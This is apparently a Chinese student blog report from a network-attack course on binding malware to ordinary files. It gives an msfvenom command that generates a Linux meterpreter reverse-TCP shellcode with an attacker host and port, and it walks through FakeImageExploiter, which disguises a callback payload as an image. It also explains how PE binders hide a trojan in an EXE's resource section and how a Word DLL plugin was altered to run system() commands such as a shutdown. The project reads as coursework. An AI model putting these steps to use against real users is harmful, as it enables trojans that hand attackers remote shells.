20165212 任胤 《网络对抗》免考项目——恶意代码、恶意程序绑定

恶意代码、恶意程序绑定实践

1 Shellcode的生成与分析

1.1 shellcode概念和获取手段

  • Shellcode是16进制的机器码,我的所有实验中shellcode来源于两个地方:一是kali中用msfvenom -p linux/meterpreter/shellreversetcp -b '\x00\x0a' LHOST=192.168.235.137 LPORT=5212 -f c 这种命令生成;另一种是来自https://www.exploit-db.com/shellcodes这个网站(db-exploit)。我个人更偏向于后者,因为此网站上放的shellcode都是测试过完好的,所以当适用这里的shellcode实验出不来结果时,可以将问题锁定到shellcode上。

shellcode如何达成目的——获取目标靶机shell

  • 简单的理解,shellcode的目的是让攻击者获取靶机的shell。
  • 假如你现在手里拿到了一段好的shellcode,下一步就是要考虑怎么去使用它。而我们现在比较肤浅,能使用它的途径就一个:通过缓冲区溢出让shellcode进入内存,而且是在没有堆栈保护的理想环境下了
  • 栈模型中,eip寄存器的作用是告诉cpu接下来去执行哪里的机器码,eip寄存器存的是一个内存地址。在我们做过的实验1中,pwn程序缓冲区后面跟着的就是eip寄存器。所以gdb找到shellcode在内存中的地址,然后通过给pwn程序输入超长的输入,让shellcode起始地址正好装到eip里,这样程序下一步就会跑去执行shellcode,目的达成。
  • 但要知道,这是理想环境。首先,没有地址随机化,使得gdb调试能找到eip位置和shellcode位置。其次,没有栈保护,正常情况系统会监视eip的变化,eip里或eip指的地方里的东西变了,shellcode就不会执行。
  •  

后门程序绑定

  • 这个实践内容建立在msf生成后门程序基础上

FakeImageExploiter

原理未知

  • 不过与其说FakeImageExploiter是捆绑软件,它更像是一个攻击平台——针对Linux(kali)中图片查看器的攻击。FakeImageExploiter是连着msf一起的,绑定图片之后直接运行回连,msf获得shell,所以很明显这个软件破解了图片查看器这个程序,在用户触发特定图片时,程序里的shellcode会启动。

使用过程

  • git clone https://github.com/r00t-3xp10it/FakeImageExploiter.git安装FakeImageExploiter
    • 需要注意:这个软件需要环境,目前kali官网上的kali版本使用FakeImageExploiter会需要自己安装mingw32交叉编译器,而这个kali版本的源里是没有mingw32安装的,网络上广泛使用的kali源也没有。所以推荐使用低版本kali
  • 安装完成之后进入文件夹打开setting,选择隐藏在图片中的Payload格式,有ps1、bat、txt和exe四种格式可选,我选择PAYLOADEXETNSION=bat;在生成捆绑图片文件的替换图标icon选项中选择BYPASSRH=NO,非自动,需要手动更改和添加最终生成的图片图标icon。同样,在setting文件中找到以下两列进行按需修改: AUTOPAYLOADBUILD=YES (自动生成Payload选项) AGENTHANLERPORT=4444(植入恶意程序后的客户端监听端口)

  •  

  •  

  •  

  • ./FakeImageExploiter.sh启动,确认启动配置框架(点YES),选择第一个payload
  •  

  • 随后继续选择“捆绑”的图片和icon主题并命名
  •  

  • 当然,产生的东西是程序而不是图片文件。双击运行.bat.exe程序会弹出图片并反向连接msf
  •  

基于PE文件的捆绑机

  • 捆绑机在网上可以找到很多,甚至有CSDN用户写的捆绑机
  • PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件

功能

  • 捆绑机,顾名思义,作用就是将一个正常文件(txt、jpg、exe)和后门程序捆绑在一起,生成一个新“文件”,运行新“文件”的时候会同时启动木马程序

原理

捆绑机绑定的并不是文件和木马,而是打开文件的应用程序和木马,归根到底是两个程序的绑定 - 简单地描述原理:"组合"可以有多种形式,比如把EXE文件一个一个的加到文件末尾,或者以资源形式组合到一个EXE文件中,还有复杂一点的利用专用的安装打包工具组合(例如安装时捆绑的流氓软件).下面主要介绍最简单的第一种一个一个加的捆绑形式,也称为传统式捆绑机,,实际上是绑了木马的文件,关键的部分在于捆绑机生成新文件伪装的格式。可以把生成的新程序看做一个加载器,这个加载器的作用就是包容、释放、加载前面这两个程序员

  • 详细地描述:
    • PE文件结构如下图
    •  

    •  

    • 资源是EXE中的一个特殊的区段。可以用来包含EXE需要/不需要用到的任何一切东西。这里就可以看做PE可选头部分
    • 现在,捆绑器程序复制了一份正常EXE到缓冲区,捆绑器程序首先判断判断是否PE文件。文件头两byte应为0x4d5a即("MZ"),然后到地址0x3c中读出PE文件头(IMAGENT_HEADERS 一个系统调用api)。判断文件头结构,就是上图中小框框的E0(即"PE\0\0")。
    • 然后,捆绑其程序用读取资源目录(IMAGERESOURCEDIRECTORY)和资源入口(IMAGERESOURCEDIRECTORY_ENTRY)进入PE可选区,(因为在使用捆绑器的时候已经选好了EXE程序和木马程序),然后用BeginUpdateResource、UpdateResource和EndUpdateResource这三个API函数把木马程序添进PE可选区。这三个API函数是用来做资源更新/替换用的,
    • 然后呢,捆绑器程序再在这里(资源区)写一段释放资源的代码,然后一个捆绑木马的EXE就生成了.
  • 概括的说,捆绑器程序使用一些API把木马写进了EXE程序的资源区。
  • https://www.dbgpro.com/archives/954.html这篇文章中的代码解释了再把木马写进去之后怎么对EXE进行伪装(也就是一个图片绑了木马后生成的不是JPG文件,而是屏幕保护程序这个EXE)
  • https://blog.csdn.net/stone5555/article/details/81953253这篇文章详细说明了上图中的结构体和如何找到、进入资源区的。找不自在可以看看。

使用过程

  • 使用方法过于简单,没什么好解释的
  • 下面是图片绑cmd程序,

  •  

  •  

  •  

  • 下面是cmd程序绑我自己的后门程序,假装是安装QQ

  •  

  •  

  •  

  •  

基于word dll插件恶意代码的研究

  • 纯手动实现恶意功能的一个实践,环境windowsXP+word2007+VC 6.0基于com编程实现Office的接口调用,在Word中嵌入恶意插件
  •  

插件实现原理

这个插件原本的功能是对word文本进行数字签名和验签,我在代码里面加入了恶意代码

插件实现过程

  • com编程生成dll动态库,里面封装的具体功能是c++实现的,恶意代码也正是添加在这一区域
  • dll库的功能写好了,结构也写好了,现在要插入word,也就是要让word认证这个dll,有两种方法简单介绍一下
    • 1.在word程序中选择加载这个dll库,如图
    •  

    • 2.在这个dll库内部有直接对注册表进行操作的功能,即在注册表中把这个dll库放到word下(这个实践使用的是这个方法),效果就是在VC里ctrl+f5直接打开word程序,word程序中含有这个恶意插件。

word程序保护机制

因为实践内容是基于dll库所以只介绍word对外部dll库的防御

文档的安全级别

  • 为了防止宏病毒,word程序中可以设置安全级别,可以在“工具→选项卡→安全性→宏选项卡”中进行设置。安全级别分为高、中、低。
    • 高:只运行来源可靠的宏。其他宏一律取消。(所谓可靠的宏就是经过了Microsoft数字签名的宏,模板,加载项都是一样)
    • 中:打开一个宏时,会出现一条警告消息
    • 低:不进行宏的保护,所有外来插件模板都可以直接用
  • 而word对所有加载进来dll文件没有防御措施,不会限制dll库的行为。意味着加载进了word的dll里的恶意代码可以为所欲为,访问硬盘、注册表、调用内存,为所欲为

  • 正是因为word对dll行为没有限制,所以我可以在dll中添加恶意代码

操作步骤

  • 有个系统调用叫system(),c和c++里可以直接用,我用这个api打开cmd窗口执,具体命令system("cmd /c, 你的命令行");,就这么简单的加进去就行了,build~(下面图的cmd关机命令格式有误,只会弹出cmd,而不会关机)
  •  

  • 这里插件的这个按钮的功能是签名,要先保存文件,对文件签名。关掉成功提示框之后,cmd就弹了出来
  •  

  •  

  • 下面是正确的关机指令。。。他关机了
  •  

  •  

  • 抓拍到的~
  •  

  • ^_^我就不花里胡哨地搞蓝屏删系统什么的了,反正cmd里面能干的坏事多着呢网上一搜一大堆,b站也有。

  • 说一下这个实践我遇到的几个困难
    • 1.搭环境。如果不是夏云霄的帮助我可能搭环境搭不好就没了
    • 2.对插件实现功能的理解。我是把恶意代码写在一个对文件hash的函数下面。是对文件hash,如果不事先保存文件就是在对内存里的东西hash...,word会崩掉。

总结体会

我的免考项目是从我自身兴趣出发,自己找课题自己去做。 起初我的预想是最终手动向一个文件里注入16进制的shellcode,但是做着做着,发现自己连图片查看器程序反出来汇编代码都看不懂,哈哈哈哈~ 我的理解是:所有的“往文件里注入恶意代码”其实都是想方设法去破解相应的文件查看器,往文件查看器程序里去注入恶意代码,现在看来,我的水平离“操作16进制shellcode”还差得远呢~除了最后一个实践,前面的实践我全部用的是我生成的后门程序exe。整个项目,能真正算上“恶意代码注入”的,应该之后最后一个往word dll里写system()了吧。走过很多弯路,浪费了很多时间,不过最后看着自己的word文档里,本来好好的点一个按钮电脑就关机了,也就觉着花掉的时间都值了哈哈哈~

posted @ 2019-06-24 22:33  FenixRen  阅读(84)  评论(0编辑  收藏
#back-to-top { background-color:wheat; bottom: 0; box-shadow: 0 0 6px ; color: #444444; padding: 2px 2px; position: fixed; right: 20px; cursor: pointer; ヾ(≧O≦)〃嗷~ }